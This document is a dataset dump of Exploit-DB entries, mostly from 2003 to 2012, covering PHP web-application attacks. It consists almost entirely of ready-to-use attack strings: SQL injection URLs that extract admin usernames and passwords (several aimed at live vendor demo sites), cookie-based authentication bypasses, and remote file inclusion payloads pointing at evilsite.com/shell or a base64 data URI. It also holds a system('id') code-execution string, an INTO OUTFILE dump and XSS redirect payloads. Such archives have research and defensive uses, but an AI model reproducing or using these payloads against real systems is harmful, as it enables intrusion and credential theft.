deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6378
Description: Vastal I-Tech Jobs Zone - 'news_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-05
Author: Stack

Exploit:
#######################################################
#  Vastal I-Tech Jobs Zone SQL Injection Vulnerability
#
# Author   : Stack
#
#
# Script Home Page : http://www.vastal.com/jobs-zone-classifieds-script.html
#
# Demo      : http://www.vastal.com/jobs/
#######################################################
Exploit:
http://site.il/view_news.php?news_id=-1/**/UNION/**/SELECT/**/1,concat_ws(0x3a,admin_user,admin_password),3,4,5,6,7/**/from/**/admin_users/*
http://site.il/view_news.php?news_id=-1/**/UNION/**/SELECT/**/1,concat_ws(0x3a,password,user()),version(),4,5,6,7/**/from/**/members/*
Live Demo
http://www.vastal.com/jobs/view_news.php?news_id=-1/**/UNION/**/SELECT/**/1,concat_ws(0x3a,admin_user,admin_password),3,4,5,6,7/**/from/**/admin_users/*
##############################################################################################################

# milw0rm.com [2008-09-05]
Exploit-DB #6380
Description: Vastal I-Tech Mag Zone - 'cat_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-05
Author: Stack

Exploit:
#######################################################
#  Vastal I-Tech Mag Zone SQL Injection Vulnerability
#
# Author   : Stack
#
#
# Script Home Page : http://www.vastal.com/mag-zone-online-library-system.html
#
# Demo      : http://www.vastal.com/mag/
#######################################################
the exploit fate the password
use ur mind for have the column username
Exploit:
http://site.il/view_mags.php?cat_id=-1/**/UNION/**/SELECT/**/concat(0x3a,password,0x3a)/**/FROM/**/members/*
Live Demo
http://www.vastal.com/mag/view_mags.php?cat_id=-1/**/UNION/**/SELECT/**/concat(0x3a,password,0x3a)/**/FROM/**/members/*

# milw0rm.com [2008-09-05]
Exploit-DB #6379
Description: Vastal I-Tech MMORPG Zone - 'game_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-05
Author: Stack

Exploit:
#######################################################
#  Vastal I-Tech MMORPG Zone SQL Injection Vulnerability
#
# Author   : Stack
#
#
# Script Home Page : http://www.vastal.com/mmorpg-zone-sell-mmorpg-online.html
#
# Demo      : http://www.vastal.com/games/
#######################################################
the exploit fate the password
use ur mind for have the column username
Exploit:
http://site.il/game.php?yes=1&game_id=-1/**/UNION/**/SELECT/**/1,concat_ws(0x3a,password,user()),3,4,5,6/**/members/*
http://site.il/game.php?yes=1&game_id=-1/**/UNION/**/SELECT/**/1,22222,3,4,5,6/*
 
Live Demo

http://www.vastal.com/games/game.php?yes=1&game_id=-1/**/UNION/**/SELECT/**/1,concat_ws(0x3a,password,user()),3,4,5,6/**/members/*
http://www.vastal.com/games/game.php?yes=1&game_id=-1/**/UNION/**/SELECT/**/1,22222,3,4,5,6/*

# milw0rm.com [2008-09-05]
Exploit-DB #6385
Description: Vastal I-Tech Shaadi Zone 1.0.9 - 'tage' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-05
Author: e.wiZz!

Exploit:
####################Vastal I Tech Shaadi Zone 1.0.9 SQL Injection Vulnerability##########

########By:   e.wiZz!
########Site: infected.blogger.ba
########Info: Bosnian Idiot FTW!

########Greetz: str0ke,aluigi,suN8Hclf,0in,Rishi Narang,f34r


In the wild...

##############################################################################

#####Info:  Shaadi Zone is the best solution if you are looking to run a matrimonial services services. We have integrated many features which you can use and take full advantage of the matrimonial services. You can run a site like shaadi or bharatmatrimoniy easily.

#####Vulnerability:

http://www.inthewild.xxx/path/keyword_search_action.php?gender=xxx&martial=&fage=xxx&tage=SQL

####PoC on demo site:

http://www.vastal.com/shaadi_zone_1.0.9/keyword_search_action.php?gender=male&martial=&fage=18&tage=-1 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,concat(username,0x3a,password),50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77 from users/*

# milw0rm.com [2008-09-05]
Exploit-DB #6375
Description: Vastal I-Tech Share Zone - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-05
Author: DeViL iRaQ

Exploit:
#######################################################
# Vastal I-Tech Share Zone ( id ) SQL Injection Vulnerability
#
# Author   : DeViL iRaQ
#
# Email     : guitar_lover46[at]yahoo[dot]com
#
# Price     : $200.00
#
# Script Home Page : http://www.vastal.com/share-zone-the-file-sharing-software.html
#
# Demo      : http://www.vastal.com/rapid/
#
# Dork      : N/A
########################################################
# Exploit :
# www.[sitename].com/view_news.php?id=-1+union+select+1,concat(admin_user,0x3a,admin_password),3,4+from+admin_users
#
# Live Demo:
# http://www.vastal.com/rapid/view_news.php?id=-1+union+select+1,concat(admin_user,0x3a,admin_password),3,4+from+admin_users
#
# Admin login :
# http://www.[sitename].com/admin/
#########################################################
# Greetz :
#                      All members of the Forum  WwW.Hussin-X.CoM
#  Hussin X , JeFaRa , GenX ThE Hacker Iraqi , Iraqi Diver , Ameer Elshouq , IRAQ_JaGUaR
#########################################################

# milw0rm.com [2008-09-05]
Exploit-DB #5359
Description: Vastal I-Tech Software Zone - 'cat_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-04
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+		         Software Zone SQL Injection Vulnerbilitys	             +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: http://www.vastal.com/software-zone-a-script-for-selling-your-softwares.html
DORK: N/A


DESCRIPTION: 
pull out admin user:pass


EXPLOITS:
http://www.server.com/view_product.php?cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,concat(admin_user,0x3a,admin_password),7,8,9,10,11,12,13,14 FROM/**/admin_users/*


NOTE/TIP: 
administrator login is at /admin/


GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net !


--==+================================================================================+==--
--==+		         Software Zone SQL Injection Vulnerbilitys	             +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-04]
Exploit-DB #6374
Description: Vastal I-Tech Toner Cart - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-05
Author: DeViL iRaQ

Exploit:
#######################################################
# Vastal I-Tech Toner Cart ( show_series_ink.php id ) SQL Injection Vulnerability
#
# Author   : DeViL iRaQ
#
# Email     : guitar_lover46[at]yahoo[dot]com
#
# Price     : $400.00
#
# Script Home Page : http://www.vastal.com/toner-cart-a-specialized-script-to-help-you-sell-toners-online.html
#
# Demo      : http://www.vastal.com/united/
#
# Dork      : N/A
########################################################
# Exploit :
# www.[sitename].com/show_series_ink.php?id=-1+union+select+1,concat(admin_user,0x3a,admin_password),3,4,5+from+admin_users
#
# Live Demo:
# http://www.vastal.com/united/show_series_ink.php?id=-1+union+select+1,concat(admin_user,0x3a,admin_password),3,4,5+from+admin_users
#
# Admin login :
# http://www.[sitename].com/admin/
#########################################################
# Greetz :
#                      All members of the Forum  WwW.Hussin-X.CoM
#  Hussin X , JeFaRa , GenX ThE Hacker Iraqi , Iraqi Diver , Ameer Elshouq , IRAQ_JaGUaR
#########################################################

# milw0rm.com [2008-09-05]
Exploit-DB #6373
Description: Vastal I-Tech Visa Zone - 'news_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-05
Author: DeViL iRaQ

Exploit:
#######################################################
# Vastal I-Tech Visa Zone ( news_id ) SQL Injection Vulnerability
#
# Author   : DeViL iRaQ
#
# Email     : guitar_lover46[at]yahoo[dot]com
#
# Price     : $550.00
#
# Script Home Page : http://www.vastal.com/visa-zone-a-specialised-script-made-just-for-law-firm-dealing-in-visa.html
#
# Demo      : http://www.vastal.com/law_firm/
#
# Dork      : N/A
########################################################
# Exploit :
# www.[sitename].com/view_news.php?news_id=-2+union+select+1,concat(admin_user,0x3a,admin_password),3,4+from+admin_users
#
# Live Demo:
# http://www.vastal.com/law_firm/view_news.php?news_id=-2+union+select+1,concat(admin_user,0x3a,admin_password),3,4+from+admin_users
#
# Admin login :
# http://www.[sitename].com/admin/
#########################################################
# Greetz :
#                      All members of the Forum  WwW.Hussin-X.CoM
#  Hussin X , JeFaRa , GenX ThE Hacker Iraqi , Iraqi Diver , Ameer Elshouq , IRAQ_JaGUaR
#########################################################

# milw0rm.com [2008-09-05]
Exploit-DB #22167
Description: vAuthenticate 2.8 - SQL Injection
Type: webapps
Platform: php
Date: 2003-01-14
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/6605/info

A vulnerability has been discovered in vAuthenticate. It has been reported that various PHP scripts used by vAuthenticate are prone to SQL injection attacks. This issue may be exploited by an unauthorized attacker to view protected web pages.

An attacker that is able to access protected web pages may gain sensitive information that may aid in launching further attacks against a target server.

http://www.example.org/chgpwd.php?USERNAME=[username]&[CREDENTIAL_REDACTED]''='
http://www.example.org/admin/index.php?USERNAME='%20OR%20''='&[CREDENTIAL_REDACTED]=1%20AND%20level='1
Exploit-DB #17752
Description: vAuthenticate 3.0.1 - Authentication Bypass
Type: webapps
Platform: php
Date: 2011-08-30
Author: bd0rk

Exploit:
-----------------------------------------------------------------------

vAuthenticate 3.0.1 Auth Bypass by Cookie SQL Injection Vulnerability

-----------------------------------------------------------------------

Author: bd0rk

Contact: bd0rk[at]hackermail.com

Date: 2011 / 08 / 30

MEZ-Time: 01:35

Tested on WinVista & Ubuntu-Linux

Affected-Software: vAuthenticate 3.0.1

Vendor: http://www.beanbug.net/vScripts.php

Download: http://www.beanbug.net/Scripts/vAuthenticate_3.0.1.zip

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Found vulnerable code in check.php:

if (isset($_COOKIE['USERNAME']) && isset($_COOKIE['PASSWORD']))
    {
        // Get values from superglobal variables
        $USERNAME = $_COOKIE['USERNAME'];
        $PASSWORD = $_COOKIE['PASSWORD'];

        $CheckSecurity = new auth();
        $check = $CheckSecurity->page_check($USERNAME, $PASSWORD);
    }
    else
    {
        $check = false;
    }

	if ($check == false)
	{

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


Exploit: javascript:document.cookie = "[USERNAME]=' or '; [PATH]";

         javascript:document.cookie = "[PASSWORD]=' or '; [PATH]";


Them use login.php 4AuthBypass :P

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++



---Greetings from hot Germany, the 22 years old bd0rk. :-)

Special-Greetz: Zubair Anjum, Perle, DJTrebo, Anonymous, GolD_M, hoohead
Exploit-DB #36628
Description: vBadvanced CMPS 3.2.2 - 'vba_cmps_include_bottom.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2012-01-25
Author: PacketiK

Exploit:
source: https://www.securityfocus.com/bid/51672/info

vBadvanced CMPS is prone to a remote file-include vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to execute arbitrary local and remote scripts in the context of the affected application or obtain potentially sensitive information. This may result in a compromise of the application and the underlying system; other attacks are also possible.

vBadvanced CMPS 3.2.2 is vulnerable; other versions may also be affected. 

http://www.example.com/vb/includes/vba_cmps_include_bottom.php?pages[pageid]=123&allowview=123&pages[type]=php_file&vba_cusmodid=123&pages[template]=data:;base64,PD9waHAgcGhwaW5mbygpO29iX2VuZF9mbHVzaCgpO2V4aXQ7Pz4=

http://www.example.com/vb/includes/vba_cmps_include_bottom.php?pages[pageid]=123&allowview=123&pages[type]=php_file&vba_cusmodid=123&pages[template]=ftp://user:pass@127.0.0.1/123.txt
Exploit-DB #14686
Description: vbbuletin 4.0.4 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-08-19
Author: mc2_s3lector

Exploit:
/*======================================================================*\
|| #################################################################### ||
|| # Vurnerebility vBulletin - http://www.vbulletin.org               # ||
|| # Local or adserver Javascript,forumdisplay.php" Code Execution    # ||
|| # Version license 4.0.4					      # ||
|| # info set cookies, error issue & critical-information-disclosure  # ||
|| # Dork powered by vBulletin 4.0.4				      # ||
|| # author mc2_s3lector					      # ||
|| # Contact|http://www.yogyacarderlink.web.id			      # ||
|| #################################################################### ||
\*======================================================================*/
                         
http://DNSname.com/patch/clientscript/vbulletin-core.js?v=

http://DNSname.com/patch/clientscript/vbulletin-core.js?v=(value)

http://DNSname.com/vb/forumdisplay.php?GLOBALS[]=

http://DNSname.com/patch/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')."

http://DNSname.com/vb/forumdisplay.php?GLOBALS[]=1&f=2&comma=content-type=".allow put chart

/*======================================================================*\
|# #####################################################################  |
 # gretz: all family(www.yogyacarderlink.web.id)			# |			 
|# v3n0m,m4rc0,eidelweis,Joglo,setanmuda,z0mb13,byebye,93l4p_9uL1t@,	# |
|# IdioT_InsidE,dewancc,craxboy90,lingga,horcux,artupas,s0ul_34t3r,	# |
|# mywisdom,Travis,a9d1co0L,L4zyb0i,Jastis & all  			# |
|# KeDaiComputerworks.org						# |
|# my bro one-d4y,elpaci4n0,Ariwira,h3ndry_Slank,raven_ville, t3j0,& all# |				   		   
|# Indesign Computer Care,logcode.net,flowerjingga,.alboraaq.com	# | 
|  #####################################################################  |
\*======================================================================*/
Exploit-DB #6593
Description: Vbgooglemap Hotspot Edition 1.0.3 - SQL Injection
Type: webapps
Platform: php
Date: 2008-09-27
Author: elusiven

Exploit:
#######################################################################
#
# Vbgooglemap Hotspot Edition 1.0.3 Remote SQL Injection Vulnerability
#
#######################################################################

# Bug discovered by elusiven
# It was priv8

Bug: 

[Target]/[Path]/vbgooglemaphse.php?do=showdetails&mapid=-1+UNION+SELECT+0,1,password,salt,username,5,6,7,8,9,10,11,12,13+FROM+user--

or:

[Target]/[Path]/mapa.php?do=showdetails&mapid=-1+UNION+SELECT+0,1,password,salt,username,5,6,7,8,9,10,11,12,13+FROM+user--

# Special gr33tz for: my sweet Monia :*
# gr33tz for: artii2, GrZyB997, Sp!riT, Msb, Adish, Mandr4ke, eXc!t3, aqtyq, tescik2, stranger, Voldo, KrafT,
# DonJapkO, Gaara, br0wdz, uncalled, cOndemned aka f60.1, zbt, matisto, pr0metheus and all gd pplz from the underground.

#################################################
#
# Vbgooglemap Hotspot Edition 1.0.3 SQL INJECTION
#
#################################################

# milw0rm.com [2008-09-27]
Exploit-DB #2740
Description: vBlog / C12 0.1 - 'cfgProgDir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-08
Author: DeltahackingTEAM

Exploit:
**********************************************************************************************************
                                              WwW.Deltahacking.NeT (Priv8  Site)
                                              WwW.Deltahacking.Ir    (Public Site)
**********************************************************************************************************

* Portal Name :Vortex Blog AKA vBlog

* Class = Remote File Inclusion ;
 
* Download =http://switch.dl.sourceforge.net/sourceforge/c12/C12_a0.1_nonfunc.zip

* Found by = Dr.Pantagon (rezayavari2006@yahoo.com)

--------------------------------------------------------------------------------------------

--------------
- Vulnerable Code

     include($cfgProgDir . "session.php");

++++++++++++++++++++++++++++++++++++++++++++

- Exploit:


    http://[target]/[path]/admin/auth/secure.php?cfgProgDir=http://evilsite.com/shell?
    http://[target]/[path]/admin/auth/checklogin.php?cfgProgDir=http://evilsite.com/shell?


--------------------------------------------------------------------------------------------

--------------

Special Thanks :  Dr.Trojan , Hiv++ , D_7j , Lord
Special Thanks To Best My Friend : Tanha

**********************************************************************************************************

# milw0rm.com [2006-11-08]
Exploit-DB #6446
Description: vbLOGIX Tutorial Script 1.0 - 'cat_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-12
Author: FIREH4CK3R

Exploit:
#=====================================================================================================
#vbLOGIX Tutorial Script <= v1.0 (cat_id) Remote SQL Injection Exploit
#=====================================================================================================
#
#
#Venedor site : http://www.vblogix.com/
#
#Demo site: http://www.vb-demo.com/
#
#Version : v1.0
#
#=====================================================================================================
#
#DORK : no have
#
#
#Exploit :
#--------------------------------
# main.php?act=list&cat_id=-1+UNION+ALL+SELECT+concat(usrname,0x3a,psswd)+FROM+t_user/*
#
#=====================================================================================================
#Discoverd By : FIREH4CK3R
#
#Contact : firehacker_msn[at]hotmail.com
#
#Greetz To : FIREH4CK3R, Sh0rtKiller, Park, Dark, SecurityBR
#
#
#=====================================================================================================

# milw0rm.com [2008-09-12]
Exploit-DB #23140
Description: vbPortal 2.0 alpha 8.1 - (Authenticated) SQL Injection
Type: webapps
Platform: php
Date: 2003-09-12
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/8613/info

It has been reported that vbPortal is prone to SQL injection attacks when authentication users. The problem occurs due to insufficient sanitization of the $aid variable, used to store the name of the authenticating user. As a result, an attacker may supply data within the username designed to prematurely terminate the string, and influence the logic of the current SQL query. This may be exploited to expose sensitive information, or potentially to launch attacks against the underlying database. 

http://www.example.org/auth.inc.php?admin=JyBPUiAxPTEgSU5UTyBPVVRGSUxFICcvY29tcGxldGUvcGF0aC9Vc2VyVGFibGUudHh0OjE=

It should be noted that the above base64 encoded string contains the following data:

' OR 1=1 INTO OUTFILE '/complete/path/UserTable.txt:1
Exploit-DB #37944
Description: vBSEO - 'u' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-06-16
Author: MegaMan

Exploit:
source: https://www.securityfocus.com/bid/55908/info

vBSEO is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

vBSEO 3.8.7 is vulnerable; other versions may also be affected. 

http://www.example.com/forums/member.php?tab=friends&u=11411%22%3E%3Cscript%3Ewindow.location%20=%20%22http://www.internot.info/forum/%22%20%3C/script%3E

http://www.example.com/forum/member.php?u=1%22%3E%3Cscript%3Ewindow.location%20=%20%22http://www.internot.info/forum/%22%20%3C/script%3E
Exploit-DB #11526
Description: vBSEO 3.1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-02-22
Author: ViRuSMaN

Exploit:
======================================================================
        [»] vBseo v3.1.0 Local File Include Vulnerability
======================================================================

    [»] Script:             [ vBseo ]
    [»] Language:           [ PHP ]
    [»] Founder:            [ ViRuSMaN <v.-m@live.com - totti_55_3@yahoo.com> ]
    [»] Greetz to:          [ HackTeach Team , Egyptian Hackers , All My Friends & Pentestlabs.Com ]
    [»] My Home:            [ HackTeach.Org , Islam-Attack.Com ]

###########################################################################

===[ Exploit ]===

    [»] http://server/[path]/vbseo.php?vbseoembedd=1&vbseourl=[LFI]

Author: ViRuSMaN <-

###########################################################################
Exploit-DB #35292
Description: vBSEO 3.2.2/3.5.2 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-01-30
Author: MaXe

Exploit:
source: https://www.securityfocus.com/bid/46068/info

vBSEO is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

vBSEO 3.5.2 and 3.2.2 is vulnerable; other versions may also be affected. 

<html>
<head>
<title> [XSS String] </title>
</head>
<body>
<a href="http://www.example.com/01-some-forum-thread.html">SEKSCY INJECT TIEM!</a>
</body>
</html>